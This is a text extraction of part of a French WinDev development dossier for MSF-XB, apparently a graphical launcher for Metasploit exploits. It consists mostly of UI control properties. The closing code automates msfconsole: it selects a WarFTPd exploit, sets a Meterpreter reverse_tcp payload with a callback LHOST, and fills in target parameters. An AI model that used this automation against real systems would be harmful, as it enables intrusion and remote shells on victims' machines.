Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : EXPLOITER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: EXPLOITEROrdre navigation 12Curseur survol 0On/Off Non

Altitude 6

Bulle d'aide FR: Lancer l'exploitGB: Launch the exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 279: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 281

Interrupteur : INT_AVOID_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Ordre navigation 22Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 26

Numéro aide 0

Opacité 100

Options FR: Filtrer les caractères interditsGB: Avoid badchars

Valeur persistante OuiOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 280: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 282

Champ de saisie : LIB_EXPLOIT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Exploit:Ordre navigation 3Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 4Retrait gauche 2Position X interne 80Largeur interne 209

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 281: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 283

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_Libellé1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Cible:GB: Target:

Curseur survol 0Synchro Infos Partagées Non

Altitude 10

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 282: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 284

Champ de saisie : MON_OPCODE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Opcode:Ordre navigation 4Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 363Largeur interne 209

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 283: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 285

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Badchars:Ordre navigation 9Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 13Retrait gauche 2Position X interne 72Largeur interne 304

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Page 284: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 286

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: theXploiter - Jerome AthiasCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 285: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 287

Champ de saisie : RHOST

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: RHOST:Ordre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 80Largeur interne 209

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 286: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 288

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : RPORT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: RPORT:Ordre navigation 2Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 15Retrait gauche 2Position X interne 363Largeur interne 69

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤+999 999Borne max. 65535Borne min. 1Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies Oui

Page 287: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 289

Valeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_MSFWEB_IP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IP MSFWEBGB: MSFWEB IP

Ordre navigation 14Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 18Retrait gauche 2Position X interne 87Largeur interne 127

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode Non

Page 288: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 290

Asc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : SAI_MSFWEB_PORT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: PortOrdre navigation 15Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 19Retrait gauche 2Position X interne 250Largeur interne 43

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤99 999Borne min. 1

Page 289: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 291

Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 23

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage Droite

Page 290: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 292

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Sélecteur : SEL_Sélecteur1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &SélecteurGB: Radio button

Valeur initiale 1Ordre navigation 13Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 17

Numéro aide 0

Opacité 100

Options FR,GB: msfweb msfgui msfconsole

Valeur persistante OuiOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Radio_Anim.gif

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 291: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 293

Table : TABLE_Table1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 11Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 7Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Page 292: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 294

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 293: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 295

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 294: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 296

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 295: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 297

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 296: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 298

Table : TABLE_Table1Colonne de table : TABLE_Table1.NOM_PARAMETRE (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: ParamètreGB: Parameter

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 297: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 299

Colonne de table : TABLE_Table1.VALEUR_PARAMETRE (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: ValeurGB: Value

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

EXPLOIT_PARAMETERS Messages multilangues

N° Message

2000 FR: Lancement de MSFWEB...GB: Launching MSFWEB...

Page 298: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 300

N° Message

2001 FR: Démarrage de msfgui...GB: Launching msfgui...

2002 FR: Lancement de msfconsole...GB: Launching msfconsole...

2003 FR: Lancement de l'exploit...GB: Launching the exploit...

2004 FR: Impossible de lancer la console :-(GB: Impossible to launch the console :-(

N° mess.: numéro de message.

Page 299: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 301

EXPLOIT_PARAMETERS Code

Déclarations globales de EXPLOIT_PARAMETERS//procedure EXPLOIT_PARAMETERS(iIDEXPLOIT=2, gNomExploit="3com_3cdaemon_ftp_overflow.pm", sRHOST="192.168.0.201", sRPORT="", AUTOHACK=0, gMyDLL="NTDLL.DLL", gOPCODE="", gBADCHARS="\x00")

PROCEDURE EXPLOIT_PARAMETERS(iIDEXPLOIT=98, gNomExploit="exploit/windows/ftp/warftpd_165_user.rb", sRHOST="127.0.0.1", sRPORT="21", AUTOHACK=0, gMyDLL="WS2HELP.DLL", gOPCODE="push ESP - ret", gBADCHARS="\x00")

Initialisation de EXPLOIT_PARAMETERSRHOST=sRHOSTRPORT=sRPORTDLL=gMyDLLMON_OPCODE=gOPCODEPAYLOAD_BADCHARS=gBADCHARS

SI FenEtat(MSFXB_Editor)<>Inexistant ALORSnCpt is intnMax is int=ListeOccurrence(MSFXB_Editor.COMBO_TARGET)POUR ncpt=1 A nMax

ListeAjoute(COMBO_TARGET, MSFXB_Editor.COMBO_TARGET[ncpt])FINCOMBO_TARGET=MSFXB_Editor.COMBO_TARGET

FIN

//On recherche l'exploit //<= à modifier : passer l'IDEXPLOIT à cette fenêtreHLitRecherche(EXPLOIT,IDEXPLOIT,iIDEXPLOIT)//si h.trouve alors

//MSF 2.xLIB_EXPLOIT=Remplace(gNomExploit,".pm","")

SI Droite(Upper(gNomExploit) ,3)=".RB" ALORS//MSF3LIB_EXPLOIT=EXPLOIT.NOM_FICHIER_MSF3

FIN

Page 300: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 302

SI EXPLOIT.OPCODE<>"" ALORSMON_OPCODE=EXPLOIT.OPCODEDLL=EXPLOIT.DLL

// MON_OPCODE..visible=vrai// DLL..visible=vraiFIN

//On affiche dans la table les paramètres de l'exploitAffiche_PARAMETRES_EXPLOIT()

//On recherche les payloads liés à l'exploitHLitRecherche(EXPLOIT_PAYLOAD,IDEXPLOIT,iIDEXPLOIT)TANTQUE H.Trouve

HLitRecherche(PAYLOAD,IDPAYLOAD,EXPLOIT_PAYLOAD.IDPAYLOAD)SI HTrouve ALORS ListeAjoute(COMBO_PAYLOAD,PAYLOAD.NOM+" "+TAB+PAYLOAD.IDPAYLOAD)HLitSuivant(EXPLOIT_PAYLOAD)

FINCOMBO_PAYLOAD=1

//FIN

SI SAI_MSFWEB_IP="" ALORS SAI_MSFWEB_IP="127.0.0.1"SI SAI_MSFWEB_PORT=0 ALORS SAI_MSFWEB_PORT=55555

Page 301: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 303

EXPLOIT_PARAMETERS Code des champs

Clic sur BTN_Button1// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur BTN_SEARCH_RETURN_ADDRESSCherche_Adresse_Retour()

Sélection d'une ligne de COMBO_PAYLOADTableSupprimeTout(TABLE_Table1)

//On affiche dans la table les paramètres de l'exploitAffiche_PARAMETRES_EXPLOIT()

//On cherche les paramètres du PAYLOAD sélectionnéHLitRecherche(PARAMETRE_PAYLOAD,IDPAYLOAD,ExtraitChaîne(COMBO_PAYLOAD..ValeurAffichée,1,TAB,DepuisFin))TANTQUE HTrouve

HLitRecherche(PARAMETRE,IDPARAMETRE,PARAMETRE_PAYLOAD.IDPARAMETRE)TableAjoute(TABLE_Table1,PARAMETRE.NOM)

HLitSuivant(PARAMETRE_PAYLOAD)FIN

Sélection d'une ligne de COMBO_TARGETMON_OPCODE=""SI MoiMême..ValeurAffichée<>"" ALORS

ADRESSE_RETOUR=ExtraitChaîne(MoiMême..ValeurAffichée, 2)SI Taille(ExtraitChaîne(MoiMême..ValeurAffichée, 3))>1 ALORS

dll=ExtraitChaîne(MoiMême..ValeurAffichée, 3)SINON

dll=""

Page 302: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 304

FINSI Taille(ExtraitChaîne(MoiMême..ValeurAffichée, 4))>1 ALORS

MON_OPCODE=ExtraitChaîne(MoiMême..ValeurAffichée, 4)SINON

MON_OPCODE=""FIN

FIN

Clic sur EXPLOITERSELON SEL_Sélecteur1

CAS 1 //MSFWEBSI TROUVE_PID_PROCESSUS("ruby.exe")=0 ALORS

fctLanceMSFweb()SINON

//Test sur l'URL//http://127.0.0.1:55555SI HTTPRequête("http://127.0.0.1:55555") ALORS

SI ChaîneOccurrence(HTTPDonneRésultat(HTTPRésultat), "Metasploit") >0 ALORS

SINONfctLanceMSFweb()

FINSINON

fctLanceMSFweb()FIN

FIN

//LIB_EXPLOIT= exploit/windows/ftp/warftpd_165_usersMonExploit is string=Remplace(LIB_EXPLOIT, "exploit/", "")sMonExploit=Remplace(sMonExploit, "/", ":")sMonExploit=Remplace(sMonExploit, ".rb", "")

// http://127.0.0.1:55555/exploits/config?target=0&refname=windows:ftp:warftpd_165_usersMonURL is string="http://"+SAI_MSFWEB_IP+":"+SAI_MSFWEB_PORT+"/exploits/view?refname="+sMonExploitSI COMBO_TARGET..ValeurAffichée<>"" ALORS

nIndiceTarget is int=COMBO_TARGETnIndiceTarget-=1sMonURL="http://"+SAI_MSFWEB_IP+":"+SAI_MSFWEB_PORT+"/exploits/config?refname="+sMonExploit+"&target="+nIndiceTarget

FINLanceAppliAssociée(sMonURL)

CAS 2 //MSFGUI

fctMSFGUI()

Page 303: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 305

CAS 3 //msfconsole//**************************************************************************************************************************************

// CONSOLE//**************************************************************************************************************************************

//Code basé sur celui de msfcli.exe

nResHandleFen est un entier système

//On lance la consoleSI Droite(Upper(gNomExploit), 3) = ".PM" ALORS

//MSF 2.xLanceAppli(ComplèteRep(gsCheminMSF2)+"msfconsole.bat", exeActif,exeNonBloquant+exePID, ComplèteRep(gsCheminMSF2))

// Attente du chargement du programmeMultitâche(1000) //10 sec

//Récupère le handle de la fenêtrenResHandleFen = SysFenHandle("C:\WINDOWS\system32\cmd.exe")

FINSI Droite(Upper(gNomExploit), 3) = ".RB" ALORS //MSF3

SI fTaille(ComplèteRep(gsCheminMSF3)+"updater.rb") >0 ALORS//MSF 3.1nResHandleFen = SysFenHandle("MSFConsole")SI nResHandleFen<=0 ALORS

Message("Lancement de msfconsole...")

LanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfgconsole.cmd", exeActif,exeNonBloquant+exePID, gsCheminMSF3)

// Attente du chargement du programmeMultitâche(1500) //15 sec

//Récupère le handle de la fenêtrenResHandleFen = SysFenHandle("MSFConsole")

FIN

SINON

Page 304: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 306

nResHandleFen = SysFenHandle("Metasploit Framework")SI nResHandleFen<=0 ALORS

//MSF3Message("Lancement de msfconsole...")//LanceAppli(ComplèteRep(gsCheminMSF3)+"msfconsole.exe", exeActif,exeNonBloquant+exePID, ComplèteRep(gsCheminMSF3))

SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le pathLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34)+" "+Caract(34)+ComplèteRep(gsCheminMSF3)+"home\framework\msfconsole"+Caract(34), exeActif,exeNonBloquant+exePID, ComplèteRep(gsCheminMSF3)+"framework\")

SINONLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"bin\ruby.exe"+Caract(34)+" "+Caract(34)+ComplèteRep(gsCheminMSF3)+"framework\msfconsole"+Caract(34), exeActif,exeNonBloquant+exePID, ComplèteRep(gsCheminMSF3)+"framework\")

FIN

// Attente du chargement du programmeMultitâche(1500) //15 sec

//Récupère le handle de la fenêtrenResHandleFen = SysFenHandle("Metasploit Framework")

FIN

FIN

FIN

SI nResHandleFen>0 ALORSMessage("Lancement de l'exploit...")

EnvoieTouche("use "+LIB_EXPLOIT+"{ENTREE}",nResHandleFen)Multitâche(100) //1 sec

SI COMBO_PAYLOAD..ValeurAffichée="" ALORSCOMBO_PAYLOAD=1

FINSI COMBO_PAYLOAD..ValeurAffichée="" ALORS

// EnvoieTouche("set PAYLOAD windows/exec"+"{ENTREE}",ResHandleFen)// Multitâche(100) //1 sec// EnvoieTouche("set CMD calc.exe"+"{ENTREE}",ResHandleFen)// Multitâche(100) //1 sec

EnvoieTouche("set PAYLOAD windows/meterpreter/reverse_tcp"+"{ENTREE}",nResHandleFen)Multitâche(100) //1 secEnvoieTouche("set LHOST "+NetAdresseIP()+"{ENTREE}",nResHandleFen)

Page 305: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 307

Multitâche(100) //1 sec

EnvoieTouche("set FTPUSER test"+"{ENTREE}",nResHandleFen)Multitâche(100) //1 secEnvoieTouche("set FTPPASS test"+"{ENTREE}",nResHandleFen)Multitâche(100) //1 sec

SINONSI Droite(Upper(gNomExploit), 3) = ".RB" ALORS //MSF3//DEBUG DEBUG DEBUGEnvoieTouche("set PAYLOAD windows/meterpreter/reverse_tcp"+"{ENTREE}",nResHandleFen)Multitâche(100) //1 secEnvoieTouche("set LHOST "+NetAdresseIP()+"{ENTREE}",nResHandleFen)

// Multitâche(100) //1 sec// EnvoieTouche("set CMD calc.exe"+"{ENTREE}",ResHandleFen)

// EnvoieTouche("set PAYLOAD windows/"+ExtraitChaîne(COMBO_PAYLOAD..ValeurAffichée,1)+"{ENTREE}",ResHandleFen)SINON

EnvoieTouche("set PAYLOAD "+ExtraitChaîne(COMBO_PAYLOAD..ValeurAffichée,1)+"{ENTREE}",nResHandleFen)FINMultitâche(100) //1 sec

FIN

nCpt is intSI PAS TABLE_Table1..Vide ALORS

POUR ncpt=1 A TABLE_Table1..OccurrenceSI VALEUR_PARAMETRE[ncpt]<>"" ALORS

EnvoieTouche("set "+NOM_PARAMETRE[ncpt]+" "+VALEUR_PARAMETRE[ncpt]+"{ENTREE}",nResHandleFen)Multitâche(100) //1 sec

FINFIN

